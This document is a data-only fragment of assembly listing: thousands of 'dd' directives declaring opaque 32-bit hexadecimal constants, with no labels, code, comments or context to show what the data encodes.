		dd 0C3A00613h, 573A6BE9h, 5F2D417Bh, 99587933h,	31A16C0h
		dd 834C70BBh, 85FE4CF9h, 4FD11C49h, 43A3DDB8h, 4584207Ah
		dd 62937E4Dh, 0AC20415Fh, 44E42F16h, 0E44F6864h, 898DE992h
		dd 0EE2D820Bh, 608CB972h, 10BD9517h, 2928AB06h,	2B098181h
		dd 892487DAh, 1B5D5CC5h, 8B0E8AA1h, 1279A22Ah, 0E226753Bh
		dd 17192483h, 8B845691h, 0EA098C15h, 98A8990h, 507F37A9h
		dd 7D39D66h, 29FE0997h,	8A70BC87h, 85487F05h, 0EA9D5C10h
		dd 3B526A68h, 50806408h, 19C51799h, 0AAC874ABh,	162133F1h
		dd 89823290h, 0FB717550h, 85390485h, 20AA3C13h,	0E068A9ADh
		dd 0C386D2A6h, 9BEC168h, 6D28C3A3h, 0A171CD23h,	3475E2C6h
		dd 84744334h, 5E3F5690h, 0B443CBADh, 498B4B15h,	256E5029h
		dd 681586D4h, 8471366h,	1D10098Dh, 0A20584C6h, 0D30ED716h
		dd 0D1D3DFF4h, 2E019613h, 527CA729h, 34449B4h, 0C9FF051Bh
		dd 0AB20412h, 0EDEF46F5h, 0D10AA325h, 79DD1C46h, 86A938ADh
		dd 0D84167Eh, 6194DCE8h, 0A754DE08h, 82287D4h, 8D14E7B9h
		dd 0AE045F0Ah, 0F5A3EDE9h, 5EA0F24Eh, 0A293BBB9h, 86A4266Eh
		dd 92B61465h, 0C52D5348h, 0F75AA4D4h, 0F52177C7h, 63E25C97h
		dd 0A4A15424h, 0FA165AA9h, 4E1A1D25h, 5E2B5717h, 0A670F020h
		dd 0B12F0A5h, 7E5029FBh, 47E60329h, 95AF3D04h, 0E83010F7h
		dd 81C7A415h, 117A6A8Ch, 0E8326048h, 5982FE36h,	0F8805C7h
		dd 0F2269536h, 0F24298D4h, 42BC5023h, 6556958Fh, 0C85EE035h
		dd 917A0142h, 101791D8h, 67D354B8h, 0DFC9E8AEh,	0F0A650E5h
		dd 8CAEA813h, 0D7918D71h
		dd 9245844h, 2F1664D1h,	0A5027521h, 56C6D65Eh, 326828C3h
		dd 7BE84D05h, 9B8DB540h, 9F933EC3h, 9F3FE2DDh, 96DF930Fh
		dd 407A8EBBh, 65D31F37h, 4E4DEF6Ch, 952121F4h, 90A83EB0h
		dd 0D8066A86h, 0C1C93CCEh, 36F0C181h, 0D7C422A7h, 1C4CB0B0h
		dd 0C8A1C55Bh, 8DD6235Fh, 88BEB965h, 164EE172h,	68DAF7ADh
		dd 4581DD61h, 2A3B9952h, 0F82537BFh, 5B83B120h,	586EB064h
		dd 0D2645666h, 8026C2BEh, 0DF1C7127h, 0B59DA94h, 67A38A13h
		dd 75012330h, 69F9B0Ch,	25CC0D89h, 0FC0C3889h, 0C7D58892h
		dd 0C5372BD4h, 8953BFA0h, 0CB651C8h, 0EA214190h, 3A7FA7FEh
		dd 0E83A25F7h, 0CCC84683h, 3B23EB21h, 4274B880h, 0AD0E8145h
		dd 1087E963h, 0CEC162A1h, 3ABE92D1h, 0DB0825C0h, 343D9328h
		dd 97C2AE0Eh, 3E7D4767h, 0BDCB5126h, 32DE2492h,	2185A36Fh
		dd 0C6050BA1h, 5C2FDDE5h, 4CC6DAF1h, 68168442h,	40F3F3F4h
		dd 8045917Dh, 0AA032530h, 269A043Bh, 0AB2AEF99h, 0B246C94Bh
		dd 24984E60h, 0CB75157Ch, 4C216059h, 0B0CF4748h, 1707E882h
		dd 5A3D16C5h, 9B2E1F9Ch, 90602206h, 18B682CBh, 9BE90D69h
		dd 9CA1E2E7h, 0E9E4218Fh, 0AF7D9449h, 882730A7h, 11E99974h
		dd 63196A46h, 75430BBEh, 2753F14Fh, 0A0BD5B54h,	0C60C3C44h
		dd 2EDF43AFh, 0C9FAF3D9h, 768B6C15h, 0B8E8664Eh, 7C4111D9h
		dd 7712DA75h, 141C0979h, 0DF4E8E2Eh, 12C278AAh,	7C10E90Ch
		dd 685161ECh, 0E8A624FCh, 0C5AE16E8h, 0AF5D1DB0h, 7868C545h
		dd 71291908h, 0C8396296h, 3EE84278h, 0AAA1E8E5h, 843D693Bh
		dd 6821781Bh, 310435D0h, 6112F251h, 743E6C90h, 9A260864h
		dd 3624DFADh, 700852D4h, 2135A3D8h, 24A8B88h, 0C6AFE2DBh
		dd 8A1353B8h, 0C590DF8Fh, 2A5012EBh, 0C8CB8814h, 11736FFFh
		dd 0EF4F79FAh, 19823C44h, 0A014EFDCh, 42680419h, 0D04D3ED8h
		dd 19A469B5h, 0C6D6448Ah, 43238845h, 0EC235EB8h, 0A22FBDF0h
		dd 0A085A430h, 0BF4BC5AAh, 0EB2F338Bh, 0CB7BC7DEh, 7DA4163Bh
		dd 2D01F21Eh, 4A33F704h, 0CA8DF8E4h, 0D1E5BE31h, 8A5A9CE7h
		dd 558C4170h, 76A6FFF2h, 0A6018A12h, 54E85B66h,	2FC434D4h
		dd 0C201F201h, 732B752Eh, 13D72DFDh, 96FCDD5Ch,	0E70708CBh
		dd 10110E80h, 0F39F12BAh, 1E4AF96Dh, 0C5AE8AAEh, 78DF868h
		dd 0D2A0E564h, 0C7E3BFE4h, 0C5DCC893h, 3BECE84h, 0AC56F469h
		dd 7563542Eh, 403F3C25h, 10DD1FAFh, 5E742EC7h, 3D38BA16h
		dd 0AF3B56E8h, 5766EB1Ah, 522847C1h, 0D9FD222Bh, 745F045Dh
		dd 0CEED1F19h, 50409895h, 0A60D9D40h, 6038452Eh, 50DA2D86h
		dd 84255AC6h, 752C105Bh, 0C181F01Ch, 47E1BC80h,	0E55309DAh
		dd 29EA9F22h, 54CF5AA4h, 3D1C6A02h, 4A12154Ch, 0C594B8Bh
		dd 0E02246F4h, 0FFFED790h, 0D260DC95h, 0A02CAB16h, 3EEACC11h
		dd 1A484044h, 11C566Fh,	9943D40Bh, 1B0208D6h, 6ECAF274h
		dd 98AA8845h, 67D51D9Ah, 360AD25Fh, 0AAA92BD3h,	2D8DD12Fh
		dd 0EFF556EAh, 7C7AD1F0h, 0F0BD5E13h, 0FE7E7F8Fh, 2B3BA142h
		dd 2BA8B10Ah, 270CCA1Fh, 6B297188h, 70EDCEF7h, 0C57AAEE8h
		dd 0D880E9DFh, 0CE975137h, 8E7D9750h, 59E892FFh, 4FF7CBA7h
		dd 0B4146139h, 3A39C6FFh, 0E112F67Ah, 921BFDE2h, 0C03BA3C4h
		dd 502AEA5Bh, 0D4123232h, 0BEE80220h, 9ED1973Fh, 8F0F47Ah
		dd 0DDA5FF3Dh, 0BE120E5h, 15C6FF3Eh, 0CABE1C44h, 72638A10h
		dd 5F3B4CC4h, 0F16EABCDh, 35BB2AC0h, 2D22FD71h,	5A38FE0Ah
		dd 0F893997Fh, 0FDDEFA88h, 67EF0C44h, 72183B93h, 5B8B021Dh
		dd 0E1F7B880h, 0F36F1075h, 0C02B257Ch, 5FE9C151h, 0DCD1FDFDh
		dd 0E519F7E7h, 0C6B52E8h, 77496F54h, 6291827Ah,	70ED5EBBh
		dd 345574ACh, 45527B32h, 0A96F1CDAh, 73023B81h,	86A77B16h
		dd 9750A08h, 2637E817h,	92D7EB63h, 70969423h, 31908680h
		dd 11B2CF21h, 7764CB16h, 39B0BBE6h, 24C96DD3h, 0A6BEA415h
		dd 840F0AC2h, 72C9B83Fh, 0A8755B1Fh, 9B2AA26Ch,	0BDB55B26h
		dd 43144D0h, 0A2A2F497h, 0BB3591C2h, 0AD57FC5Eh, 0A86F820Ah
		dd 858A113Ah, 0FC91E24Dh, 75013B19h, 7EAB4D59h,	0D8F0BD0Bh
		dd 0E5558B78h, 99E7CAFEh, 0EB5FEC50h, 14BBF021h, 0A7E9D9EBh
		dd 74222004h, 0A8F91B96h, 809E89D9h, 70252165h,	772F61AEh
		dd 20EE4A25h, 18742408h, 0AA25C594h, 0A3BB4E12h, 4254553h
		dd 185B4982h, 0F84403DCh, 0F7DAF8CDh, 52E90065h, 0DD74B7A0h
		dd 0CAFB8872h, 7379D04Eh, 0EFE85B03h, 6063F07Dh, 0B1421AF8h
		dd 0B8701FCFh, 0AC2642DBh, 0B3274748h, 4209181h, 0FBA44D7Ch
		dd 0E085EF44h, 0BEA516ABh, 9249C39Ch, 64A78F08h, 64FB1620h
		dd 4B7C042Ah, 275AFFBh,	0D62FCFEEh, 82FF64BBh, 99D50C0Eh
		dd 0FFCE899Eh, 559E3AD3h, 112439A4h, 0F10063Bh,	1A1FEE83h
		dd 9BEC858Dh, 0F1E79366h, 2B0C4095h, 0F94881CAh, 5F7D85A3h
		dd 2407F5AFh, 732F103Ch, 63777E54h, 414BE495h, 0D2942529h
		dd 0ED5E108Dh, 8B1E0A8Fh, 0C266D095h, 0FF098A30h, 0D4EF07Ah
		dd 508AF33Ch, 57882C85h, 0EB091402h, 0BBDF6A8Eh, 0F75D7A87h
		dd 50C17B51h, 0E77B8459h, 19B4A257h, 0F07B6474h, 418D0328h
		dd 0CA231A9Bh, 39D02B05h, 637D5549h, 8FA294F3h,	5ABF48Fh
		dd 0B43B7BF9h, 3457EB50h, 77D42DB3h, 105B30BDh,	246A5157h
		dd 29523B12h, 8A8295Ah,	7FE959B3h, 9D0B254Ah, 0CECE993h
		dd 4050D2Eh, 0C9E81775h, 3551CBAEh, 17E417CEh, 0CEB2708h
		dd 0EE8BA21h, 0A7062CAEh, 0F1BDDFFBh, 9E7B4011h, 8D8569E3h
		dd 0C388AA1Ah, 70E82A24h, 3D1C4259h, 0A4AACD75h, 992B91C8h
		dd 9DD5A756h, 0D4188880h, 98DC5A7Eh, 3AF33D20h,	4A7C12E2h
		dd 1CD426Ah, 792B1068h,	91C34C5h, 0A3230EEh, 0DC05A4C0h
		dd 0A587B9Fh, 64282FEBh, 8D34680Ch, 73AE0293h, 0E3D56BC8h
		dd 137E125Dh, 0E8C27FA9h, 59D30277h, 9F791414h,	0DC2375CBh
		dd 87C7630h, 0E95F57A4h, 2C538124h, 17A20AEBh, 2E209C52h
		dd 4C92AFA4h, 0E897968Fh, 0DEF7D76Fh, 0AF522427h, 0AC75D4A2h
		dd 0B52093EAh, 5DE986FEh, 9510301Ah, 71BD01D6h,	0D12E6C97h
		dd 39DE0BFh, 5AE8FC24h,	0E7E14FFh, 0B1E9D02Dh, 0AD0CB94Dh
		dd 270865DCh, 0DC103AC7h, 4281BCF5h, 0B287224Fh, 82D3B596h
		dd 1F28C223h, 0B02D7B85h, 820160DBh, 33B9AA0Bh,	26E54FDCh
		dd 0D8645230h, 1051E91Ch, 9CFFD636h, 434B74D3h,	388A92BBh
		dd 9387D805h, 1681F199h, 0CBDD3714h, 0E4115CF3h, 0D859DC25h
		dd 2752B44Ah, 3A08EB4Bh, 0BD91DFA7h, 70173FD8h,	0EA9C29BFh
		dd 943F694h, 551BCC21h,	9DE09A0Ch, 0B7E011F6h, 2691C5E8h
		dd 0E029F748h, 74C9FE51h, 5183C862h, 6BEB0104h,	2EE9BE49h
		dd 8A64AA2Bh, 20683460h, 6B1BBF02h, 54505A12h, 32030039h
		dd 92309239h, 0E484F62Ah, 94E04FD4h, 0C1E19732h, 789320Ah
		dd 0A3D21C2Bh, 5A658D3Eh, 0F79770DFh, 0D3F82710h, 0EC59AFD0h
		dd 2DA15927h, 648A2957h, 0B4579503h, 15DB56BDh,	27087511h
		dd 0B70DD82Bh, 145723EAh, 0E8180970h, 49469F25h, 504807C4h
		dd 0AC4A25B3h, 2DFF5EF6h, 0D7352C7Ah, 0C9BB84ABh, 2CC011D7h
		dd 0E3AE0453h, 7A3062F5h, 1439E108h, 537643AFh,	678A56C9h
		dd 3A4C685Bh, 0BE087F79h, 274A657Ch, 16DD3B2Eh,	0FE5479B2h
		dd 0A5798BE8h, 49A9487Ch, 0BE06A04h, 0A17DC2FFh, 7A5D4440h
		dd 25D49792h, 72D625Ah,	0B86E0314h, 0FF55390Dh,	0D6DDB57Ah
		dd 4922B75Eh, 44C7500Ah
		dd 0EB8A7B02h, 5865C4D0h, 0F00BB2A2h, 0F0F43A81h, 28D0B3A2h
		dd 8358119Bh, 0A388E917h, 39810A00h, 0C171A90h,	58F523BEh
		dd 71EB45F4h, 384AC15Eh, 4D441791h, 84584102h, 48525A11h
		dd 24179293h, 0EB458548h, 8D454843h, 2C088279h,	0C88F4386h
		dd 32154486h, 180A1192h, 8B88A68Ah, 6A82D5BBh, 0D0935F08h
		dd 0F40A8CB4h, 0BB315881h, 3A5D5FADh, 0F5F875EEh, 0DE225155h
		dd 0E809EC46h, 2B544289h, 79305E4Fh, 8B622B0Ch,	1982DD11h
		dd 0DB751E74h, 0D2031ADh, 2E2C254Ch, 0D7B9C953h, 73863932h
		dd 0A19F057Fh, 10C01448h, 39C81D4Dh, 0FE569560h, 0D7B4D8A5h
		dd 148DFB74h, 70FC57FAh, 41EC7DF2h, 0AEE80509h,	0A12785A6h
		dd 3F29F1BAh, 83C00DE2h, 567522FAh, 0E87659BFh,	2A746215h
		dd 45E079FFh, 0C4F3FE1Fh, 2DE85005h, 0D6AFB96Bh, 0EB3BA98Bh
		dd 687F1F53h, 591796F8h, 20080B17h, 0E9710B7Eh,	1789951Dh
		dd 7F20C46Fh, 0DE2DEECFh, 9D80B47Fh, 0C21CA0E2h, 5682A5FCh
		dd 0BAA1C5D8h, 0FC2AE8F1h, 142CE2A2h, 7A9E3D51h, 0EEB4EEA8h
		dd 0C996C902h, 0AD79D7FEh, 0EB01314Eh, 686D6ACAh, 56362B30h
		dd 0C8D099Ch, 0CC590485h, 0FBCB6E09h, 2F2E2F25h, 0BBD415C4h
		dd 847657EDh, 96AF7A0h,	2F4FE87Eh, 790DB9CDh, 38EAD6Ch
		dd 475DF069h, 62661117h, 7EC92690h, 7FABE979h, 1AEB2FFh
		dd 796A4796h, 5C3F7559h, 206E2996h, 81AF9D6Bh, 4266386Ah
		dd 571A2EE9h, 890AAD1Ah, 27879D76h, 48C55AECh, 4CEA04C1h
		dd 158587C7h, 0E79886A4h, 6CD65B27h, 0FD0F82B2h, 263205EDh
		dd 0D7354AE8h, 5F2557EFh, 50A5D0ECh, 25A49C08h,	0AD8C2E75h
		dd 0A92B81E0h, 0E476998Ah, 1212F554h, 0E9BC2E34h, 1594E093h
		dd 4BFF16A2h, 45DDFC01h, 84B60FEAh, 5B84EA02h, 7067B2ABh
		dd 1C4F53BFh, 14122176h, 544327FBh, 97BDB93Ch, 6A0CCF95h
		dd 5A083C90h, 408B9ACAh, 0E81008F4h, 49D12DF5h,	5031E292h
		dd 8A5E0497h, 0AC5435BAh, 53232DB3h, 0B4F496A1h, 3345C833h
		dd 0FE336A7h, 2EAA134Bh, 0D61827F0h, 659EEF5Ch,	6C9F185Ah
		dd 0FB92B795h, 0A594D957h, 51A72ADEh, 384CBF9Fh, 0BCE222A2h
		dd 25D47677h, 0C47DB675h, 8B7A7431h, 0B47026E1h, 54ED9EEEh
		dd 1DC66BD8h, 95182F40h, 413C3CDBh, 0AEED243Ah,	5565CB1Eh
		dd 37D4DCBBh, 18595A6Ah, 7813B62Bh, 0C32F2982h,	0E7AAB49Eh
		dd 0F2867A61h, 10724BE9h, 0FA85AEFh, 68137F8Ah,	294D5FFDh
		dd 7E8869A7h, 0CFE9E261h, 5D66C9A8h, 9F281021h,	0DFE905B1h
		dd 0DC55D5B2h, 4B2FD14Dh, 0C1A8F44Fh, 6C34EBA4h, 0D584DFD5h
		dd 69E8DDFBh, 406147D4h, 739009B4h, 95E68FB7h, 0E385D22Ch
		dd 4CA6A3BEh, 660D8A61h, 8DF00794h, 8A6F3C41h, 258B57B3h
		dd 4A2E6E21h, 72CAAF20h, 0E175091Eh, 57DFEB62h,	78253ED3h
		dd 0EBFA95E2h, 0F1A4FFAEh, 1FF0FE9Dh, 6C4FAC4Dh, 145B551Ch
		dd 209EFEE9h, 0F8DB32B5h, 266C852Fh, 755C05BCh,	6FD83D14h
		dd 0E1EB8E61h, 9977A23h, 2F09F0C5h, 0F742F454h,	39C5A5F1h
		dd 208949E8h, 0D7064E57h, 7033844h, 73AEFCB7h, 5698D84h
		dd 5613AE2Fh, 0D1C997BCh, 0ADD87957h, 496C9CF5h, 45C8FB24h
		dd 515C2638h, 0BB5D1879h, 0CCEB02E2h, 1C921B45h, 5330F3FAh
		dd 0C0EA521h, 0A49710ABh, 0AAB9367h, 0BE0BB34Bh, 0F09555FCh
		dd 248A54ADh, 1A554B5Eh, 246E478Ah, 99475227h, 295EEDA4h
		dd 79542CEBh, 0E4056316h, 640D0D6Dh, 4890A93Ah,	300BFDF5h
		dd 0FDE8E90Ah, 2C0C1027h, 0FBA6DD12h, 25DF9D52h, 0A50097D5h
		dd 0F7700BD7h, 8309809Ch, 4B35E43Dh, 15FFB81Eh,	4418BC1Ch
		dd 9ACD8DECh, 0F33005B0h, 36221981h, 83E80C20h,	74782D9Ch
		dd 5901BBA1h, 382F7846h, 0EC2042F7h, 0D6501653h, 4292C388h
		dd 54977D01h, 696A5A2Fh, 2904727Fh, 0E21502C0h,	33160975h
		dd 2B2FD4EBh, 0F9D1EC98h, 142D4F9Bh, 0F2649FD7h, 8625EC4Ah
		dd 304FA0A7h, 646A1EFCh, 96486825h, 0C4882578h,	0BD19E6B2h
		dd 0EC116475h, 241503BCh, 0C292459Bh, 5FA524FBh, 51E8AEA2h
		dd 8F2D5695h, 204A1455h, 0CFDE25E8h, 0FB5D7D9Ah, 274823EAh
		dd 22B77149h, 0B3ABD34Ah, 166D4440h, 46A3993h, 4F088E67h
		dd 0D240E8B6h, 0B71ECACCh, 26B55347h, 0A5F90075h, 2B2BD8CCh
		dd 617CD695h, 0A18F68F0h, 4849DE7Fh, 9CC3AA29h,	3659EBC4h
		dd 0C8EF0E13h, 0DEA6287Eh, 5F25EB25h, 0E8442EE4h, 0C3FF81F4h
		dd 0CB683897h, 2D312221h, 0EC2E02EBh, 286CA890h, 43658168h
		dd 804F7C50h, 44E82C05h, 0EB06662h, 1BC4D072h, 274331E8h
		dd 0A3B08862h, 0C7934A5Ch, 202D03B2h, 0B04081ECh, 95B78324h
		dd 811B0515h, 394407C2h, 2373F355h, 40C65D1Bh, 0A8435E1Ah
		dd 619CD08Ch, 0A054220h, 8CB02FADh, 8D16C3EBh, 8DFEB84Dh
		dd 0EA3A97B5h, 2E6099EAh, 3796B1A8h, 64B3AE36h,	544BEB45h
		dd 44DE549Ch, 39BCB304h, 0A0A0FF03h, 7D7681A0h,	7A95ADE1h
		dd 9802FFF0h, 46EB74E4h, 99F95411h, 0A41A9C4Eh,	0E60DDD2Bh
		dd 0D95FF1Bh, 0A3BB823h, 918D0F5Ah, 2AB645F6h, 0C24911FBh
		dd 8017E0B4h, 9C0D3842h, 178B64EBh, 0E80CB4CAh,	4018D132h
		dd 8955208Eh, 0B0630209h, 0D8712406h, 8D144E48h, 1A560A93h
		dd 3157E9BFh, 56A8B205h, 66DD5E0Eh, 3CF76F03h, 13BDA051h
		dd 8837B6D7h, 0D8677DC1h, 0FF3A2234h, 0FD5A742Eh, 0DF01E1E2h
		dd 0D4B93EC6h, 75FDE013h, 5A64B859h, 14B6D211h,	30663D5Eh
		dd 89A84E54h, 0B736DA16h, 7B0FE69h, 0AABD2E3Ah,	0F6940A10h
		dd 0E9045082h, 8B939E76h, 458DCCE2h, 527D0C9Eh,	0D3400B03h
		dd 0AED879Bh, 70471548h, 0FF583883h, 1DA22A13h,	441E480h
		dd 575D816Bh, 0F6947D10h, 0BEEB9BCCh, 0EA80C455h, 8644BC01h
		dd 4164F5C2h, 6F50CD94h, 0B499D0B8h, 0D13A07B4h, 0CA72581Bh
		dd 20B5B351h, 6AE7AC26h, 5B025CB5h, 0FDD75AB4h,	2ADF5D39h
		dd 8A2CC9E0h, 400C0677h, 3F8841D5h, 8CAC97F4h, 3FA8312h
		dd 3C8158A5h, 0C9800448h, 884F8D08h, 111C3E4Ah,	514E8540h
		dd 4D92EE92h, 89CF44A1h, 0FFAE1892h, 85F7450h, 0FF5B7A8Bh
		dd 6FA0F964h, 0B579E640h, 80882BD1h, 67748937h,	45A0D52h
		dd 4CB246C5h, 0BA2437D3h, 33055118h, 733A621Dh,	82771218h
		dd 460D74AAh, 0FF0C5AECh, 0CBEB3E31h, 0E69CBF78h, 8F0ECB70h
		dd 836CCB88h, 1818CC7h,	0BC527FE9h, 6F306DFBh, 741440F9h
		dd 7A940912h, 4123230h,	24DE4519h, 0D2682949h, 28E82D92h
		dd 2CDE92E6h, 7407A2A5h, 1D090806h, 461CE868h, 0A420590Ch
		dd 53A013BEh, 0EC9A143h, 7312C2F6h, 7F402B13h, 0CD25143Bh
		dd 5DBA4278h, 3ADE2491h, 0CC54AACh, 0D1312C5h, 2F836E0Ch
		dd 7E04C3C4h, 8C2174h, 337C64D5h, 24F9BE50h, 0BC2675C5h
		dd 0C12BE4D7h, 39444221h, 46F7B7BAh, 9BE80B42h,	0B68BE4BCh
		dd 14CDA449h, 522D14CDh, 7C1EB2FDh, 0F0E9C3D0h,	0EA7E7485h
		dd 0EE9207FCh, 43F09D8Ch, 8AFAD6FEh, 18A27127h,	0F5F26D82h
		dd 4A95FB1Bh, 5166AE1Eh, 452D46DCh, 3CAB00FEh, 2CAC2C76h
		dd 4F171652h, 448DE601h, 9B28C502h, 0D563BF5Bh,	213AD64Dh
		dd 0C03E499h, 11D71068h, 5B5095BBh, 5D42D0BCh, 88B95441h
		dd 139229C3h, 0CF54681Ch, 147EA227h, 0C5520492h, 1A512BDCh
		dd 0AA996411h, 5FCB4720h, 8567D6CCh, 0BBA28084h, 0BB2FE109h
		dd 0F62A8339h, 0B837A5B0h, 0FC435CF8h, 0FE39E592h, 3794694Eh
		dd 8A0094E9h, 990F452h
		dd 0A1D6312Ch, 6F03F8C2h, 95902A1Bh, 91C4E07Eh,	7E71F837h
		dd 975F3BA5h, 0A57E2DE0h, 9CBAF892h, 4016E8E0h,	8AEEFEBBh
		dd 93F35E0Ah, 3D7C1482h, 0F0EE5729h, 309B82B8h,	188790A0h
		dd 1F242528h, 295A3FC8h, 81368515h, 8A57328Ch, 6510BC24h
		dd 99F0E7BBh, 176E10C4h, 0E580B576h, 6CAA2B18h,	0C3E12EDCh
		dd 16EB4484h, 0B254E9AEh, 7A14FD16h, 16D09DBDh,	0C820BD10h
		dd 0E8171714h, 2508A831h, 0CC7FD8F7h, 1DF86905h, 2434715Dh
		dd 0A70B234Ah, 9FC047Ah, 0F9167625h, 0FA5712DAh, 6BB28895h
		dd 911614CAh, 0BC21E430h, 0C7ADB477h, 142F28DEh, 0C407BE6Dh
		dd 5E7F55F0h, 0F40ED336h, 0F22AF1F0h, 0B6BDD5EAh, 0CC72255Eh
		dd 99DA1051h, 6E0D0F21h, 0F9D6518Bh, 6AFBB203h,	951CFD96h
		dd 9015DD95h, 0DA21DA15h, 1460313Eh, 0EFDA1702h, 0D1117F27h
		dd 73293813h, 0BCDDDA68h, 0F0F29598h, 30B2B9D2h, 23E7BBA6h
		dd 43182080h, 8D53A422h, 0E14064FAh, 5B75EE64h,	33140146h
		dd 4B5051C9h, 10B210C9h, 2EB1264Fh, 5152D215h, 172BCA74h
		dd 0AD4E6EB6h, 10C71A6h, 0E14D7299h, 0AE2291E1h, 14C21CBEh
		dd 5B40792Dh, 982AEA85h, 6BFEE610h, 0EE90DE12h,	8C56555Eh
		dd 674040Ch, 295030Dh, 1001D03Fh, 74330208h, 0B2150D16h
		dd 115F2F10h, 920F380Ah, 4FACDD85h, 2D35E882h, 0D058ECDFh
		dd 4C63374Ch, 3DF94575h, 8C567CFCh, 25683E3Ch, 2F740740h
		dd 0D25DF891h, 0FC3E0B5Eh, 1E5E59EEh, 98BDE8Ch,	9512E8F0h
		dd 99303926h, 4BE918EBh, 4A69F359h, 0FF831B8Ch,	9E9A66Fh
		dd 595E7714h, 908A057Bh, 2455031Fh, 0F4C0B95h, 0A3EC34CFh
		dd 0A9344FCh, 20C1559h,	0F0A138EBh, 8451384h, 210D1F4Dh
		dd 641F2517h, 554114A8h, 83A3AE42h, 2112EB0Bh, 0CE8F874h
		dd 7478222h, 0F953D238h, 11742271h, 170BD9FFh, 7E05894Fh
		dd 0A3E84158h, 0DCFC3A88h, 78810698h, 2F551BFh,	33684975h
		dd 2C8B5876h, 259BC4D7h, 9F21480Dh, 3BB80CE8h, 4381F464h
		dd 5BBE5042h, 1D742041h, 68511EA6h, 0C137BF38h,	51628442h
		dd 820C12C2h, 115F6376h, 7B1850A6h, 0BFAFCC9Fh,	36EF4256h
		dd 2BF5CDFAh, 4C7DBB8h,	7585FF3Bh, 8869A82Ch, 0ABCF3D0Ch
		dd 5A474336h, 0D2388815h, 48A52082h, 64CA0350h,	0A4722839h
		dd 0F5BCC9D4h, 93E80E87h, 723C5C19h, 2845D27Fh,	0E0B905C6h
		dd 0DA08CC06h, 9CDED11h, 0FFC21912h, 74AF2CCFh,	9457D25Dh
		dd 3334A8D0h, 4802992Bh, 604125A5h, 3B8521F8h, 942BE58Dh
		dd 0B1DCBA8Ch, 0F031C816h, 88AFAE48h, 151718DAh, 7519CEE6h
		dd 198F890Eh, 3434B878h, 4212FF29h, 91EC9DBEh, 0BB93723Bh
		dd 3ED6AF94h, 0AEB3214h, 0FD325C2Dh, 0EBC231B9h, 60F3BB84h
		dd 831F4A2h, 0D2D5A83Bh, 3E984E27h, 870F1405h, 66195FA8h
		dd 0A024252h, 8309EA18h, 0C2E86429h, 1B09D5A7h,	942FFA54h
		dd 81E9258Dh, 0F05238C6h, 67EBE11Dh, 0B24335BEh, 3BF8244Dh
		dd 58E83305h, 78B6EA86h, 85C4F652h, 9F463601h, 34C848DEh
		dd 96F2EB16h, 92BF3022h, 0BDFF1000h, 9F769329h,	17750AE4h
		dd 2A47E216h, 0E925484Eh, 0A114D303h, 672A441Dh, 0C0A403A7h
		dd 322312FBh, 0B250CDFh, 9804B88Ch, 9230914Bh, 0A7F2BE54h
		dd 7842C71Eh, 75C50459h, 0E0195613h, 19ABF8A9h,	5B148CCAh
		dd 7EFCD93Ch, 0B9F510ECh, 4EF8A7FCh, 0DBFCC8B0h, 2EDF6541h
		dd 0F2D3BF50h, 0B7D2148Ah, 9C5BCCEDh, 8B8AE472h, 206FD9F3h
		dd 0BA04520Ch, 0C07918B2h, 5189EC02h, 93CA454h,	845B2BA3h
		dd 0DAAE39Fh, 0CA430818h, 22690991h, 0AE4F4435h, 0B5AA848Bh
		dd 3AFD245h, 1B4026Fh, 0ED040316h, 9F28F560h, 0B195B704h
		dd 272BD764h, 3D3A7710h, 25D8F9DDh, 0C1B47267h,	0D840082h
		dd 0C5F5DAA0h, 104815F0h, 0E5495421h, 3D38BD60h, 53253625h
		dd 0AF3EB5Dh, 82D4AD97h, 0EA5C681Dh, 5D726A79h,	0A368804Ch
		dd 90E93157h, 51686C53h, 106A214Ch, 4C82160h, 1438688Ah
		dd 52F85504h, 35A40872h, 9742104h, 0BA1228B4h, 1632E18Bh
		dd 0D190830h, 7DE5B32Eh, 48941CA4h, 95F9777Ah, 53BD7320h
		dd 560C62D0h, 8279D9DFh, 0BE8126Ah, 0F76B365Eh,	40025A9Dh
		dd 0FF9C8D0Fh, 0B82FBB79h, 4E840F36h, 5E35AFF1h, 0F4B23AF3h
		dd 830F1C3Eh, 1AF525B1h, 0FDAC89C7h, 9A4F92C6h,	0DF81F35h
		dd 116A3980h, 265B89E8h, 0C87A70DDh, 14951C0Dh,	0FDA45F63h
		dd 0F148899Fh, 0A654AF68h, 3AFA5FB2h, 595DF49Ah, 0E26148BEh
		dd 1BB91274h, 5EE911A4h, 0FCC4226Bh, 0CBC8D55Ch, 5E1C105h
		dd 2BCA0CBCh, 0BE99C1ABh, 0F7020724h, 66A57FEh,	0DC18C25Dh
		dd 0AD86A6FEh, 9F16D40Ch, 955A33DDh, 3838DE0Bh,	82E5D7A5h
		dd 0EAB1C788h, 0EA33CE8Ah, 6A2E91CDh, 0BBFC2177h, 7773FB69h
		dd 5827FCC4h, 98A790CFh, 64B4F0CEh, 4C35BAB5h, 310C2FEh
		dd 51AA221Ah, 0F0C246FEh, 8B119325h, 10675EF8h,	52107C69h
		dd 34878E84h, 5EF62FAFh, 75B50FEFh, 34C9A7F2h, 99AB4A42h
		dd 6675C2DBh, 8916EC84h, 0EB6B6002h, 845D284Ch,	5D82F66Ah
		dd 1ACB2F10h, 0F5F2684Bh, 0F1DD0E9Ah, 0EF41436h, 0EDE6AC93h
		dd 14897D84h, 19FFD001h, 8C4BA1E8h, 0A68F28B2h,	0E4CFE872h
		dd 0D0008BBBh, 35A8A2C0h, 69D4F1A5h, 4AF8A40Bh,	0E6687F87h
		dd 74296528h, 0B74FE666h, 0E64296A7h, 1A6014C8h, 0E16A22EBh
		dd 105EE44Bh, 0AB3E24Dh, 0D2E01842h, 0C7E8C0E8h, 0C60A0424h
		dd 86BE148h, 0C559E156h, 0E0A21FEEh, 738ADF85h,	955DB3Dh
		dd 561F1B74h, 0E101048Ch, 55118750h, 502AEBA5h,	5AC60C16h
		dd 545588EEh, 8A09623Fh, 61FD6062h, 74688851h, 929CAB97h
		dd 488A6F08h, 0A28880C5h, 28EE4AB0h, 55618A83h,	8810CA56h
		dd 4593FE7Ch, 0CB531461h, 17751790h, 298498FFh,	19F78A7Ah
		dd 938FE86Fh, 0B2ACAEDh, 0EB404464h, 3230F62h, 84A9175h
		dd 3A69E811h, 73FA8584h, 8BF31B45h, 18BA7D40h, 0DD90DB8Bh
		dd 5DEBC53Ch, 0FC97D245h, 0FD281425h, 42AA7D61h, 0B4F7C3D7h
		dd 443B3BEEh, 0E39788C0h, 0A7655B4Ch, 92234C80h, 0D480CEFFh
		dd 0B62EBDCAh, 0E1A85872h, 0B10F21E1h, 0B1D2252h, 8CF8935Dh
